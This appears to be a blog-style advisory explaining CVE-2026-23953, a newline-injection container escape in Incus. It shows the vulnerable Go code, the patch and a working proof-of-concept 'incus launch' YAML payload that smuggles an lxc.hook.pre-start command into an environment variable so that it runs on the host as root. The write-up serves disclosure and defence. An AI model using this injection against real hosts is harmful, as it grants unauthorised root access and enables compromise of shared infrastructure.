Incus Container Escape: The Classic Newline Injection Returns

In the world of modern infrastructure, we like to think we've moved past the sins of the 90s. We wrap everything in JSON, YAML, or Protocol Buffers to avoid the messiness of raw text parsing. But under the hood of Incus (the spiritual successor to LXD), the ancient spirits of line-based configuration files still slumber.

Incus is a powerful system container manager. It takes your high-level intent—"I want a container with these limits and these environment variables"—and translates it into instructions for the low-level container runtime, LXC. This translation layer is where the magic happens, and unfortunately, where the magic sometimes goes horribly wrong.

CVE-2026-23953 isn't a complex heap overflow or a race condition in the kernel. It is a classic, almost nostalgic, Newline Injection vulnerability. It relies on the disconnect between how a modern API accepts data (YAML, which loves multi-line strings) and how the backend consumes it (a flat text file where a new line means a new instruction). It is the infrastructure equivalent of SQL injection, but instead of dropping tables, we are dropping the container boundary.

The vulnerability lies in how Incus processes the environment.* configuration keys. When you configure a container in Incus, you can pass environment variables that should exist inside that container. For example, setting environment.FOO=bar tells Incus to ensure the environment variable FOO is set to bar inside the instance.

To achieve this, Incus takes these key-value pairs and writes them into the LXC configuration file (lxc.conf). The format LXC expects is lxc.environment = KEY=VALUE. This file is line-delimited. Each setting is on its own line. Do you see where this is going?

The flaw is a lack of sanitization. The developer assumed that environment variables would be simple strings. However, the input vector is YAML. YAML has absolutely no problem with multi-line strings—in fact, it has specific syntax (| or |-) to handle them gracefully. Incus accepted these multi-line strings and blindly concatenated them into the configuration generator.

Let's look at the vulnerable code in internal/server/instance/drivers/driver_lxc.go. This is the translator that speaks "Incus" to "LXC".

Around line 1081, we see this innocent-looking block:

// Processing environment variables starting with "environment."
after, ok := strings.CutPrefix(k, "environment.")
if ok {
    // VULNERABLE: No check for \n in 'after' (key) or 'v' (value)
    err = lxcSetConfigItem(cc, "lxc.environment", fmt.Sprintf("%s=%s", after, v))
    if err != nil {
        return nil, err
    }
}

The lxcSetConfigItem function takes that formatted string and appends it to the config file. It doesn't check if the string contains newlines. It just writes bytes.

If a user provides a value v that looks like this: "val\nlxc.hook.pre-start = /bin/sh..."

The resulting config file on disk becomes:

lxc.environment = KEY=val
lxc.hook.pre-start = /bin/sh...

LXC reads this file linearly. It sees the environment variable definition, and then, on the very next line, it sees a valid hook definition. The parser is tricked into executing commands.

To exploit this, we need to be an authenticated user with permissions to launch containers or modify their configuration. This is common in CI/CD environments or shared hosting setups where users are given a slice of the pie but not the whole server.

We craft a YAML payload using the block scalar syntax |- to force a literal newline injection. Our goal is to inject lxc.hook.pre-start, which executes a command on the host before the container namespace is even fully brought up. This runs as root (or whatever user the Incus daemon runs as).

Here is the attack chain:

1. Launch a dummy container (or update an existing one).
2. Inject the payload into an environment variable.
3. Start the container to trigger the config parsing.

incus launch images:alpine/edge --ephemeral poc << EOF 
config:
  # The key name handles the prefix, the value handles the injection
  environment.PWNED: |-
    anything
    lxc.hook.pre-start = /bin/sh -c "id > /tmp/hacked_by_incus"
EOF

When Incus generates the config for this container, it writes: lxc.environment = PWNED=anything

And immediately follows it with: lxc.hook.pre-start = /bin/sh -c "id > /tmp/hacked_by_incus"

The next time this container starts, that hook fires. You have successfully executed code on the host system.

This is a Container Escape. In the hierarchy of container vulnerabilities, this is the boss fight. If you expose the Incus socket to untrusted users (even if you think you've limited them with quotas and restrictions), they own your infrastructure.

The CVSS score is 8.7 (High), largely because it requires low privileges (PR:L) and has a changed scope (S:C). The impact on Confidentiality and Integrity is High (C:H, I:H).

> [!ALERT] > This grants full root access to the underlying host OS. An attacker can install persistence, steal secrets from other containers, access the host filesystem, or pivot to the internal network.

It is functionally equivalent to giving the user sudo access on the host, just with extra steps.

The fix is embarrassingly simple, as most fixes for these types of bugs are. The maintainers added a validation check to ensure that neither the key nor the value contains a newline character before writing it to the config.

Here is the logic added in the patch:

if strings.Contains(after, "\n") || strings.Contains(v, "\n") {
    return nil, errors.New(fmt.Sprintf("Environment cannot contain newline characters"))
}

By explicitly forbidding \n in the input, the injection vector is closed. This forces the environment variables to remain on a single line, preventing them from bleeding into new configuration directives.

If you are running Incus, you need to patch immediately. If you cannot patch, you must audit your user list. Anyone with access to the incus group is effectively root until this is fixed.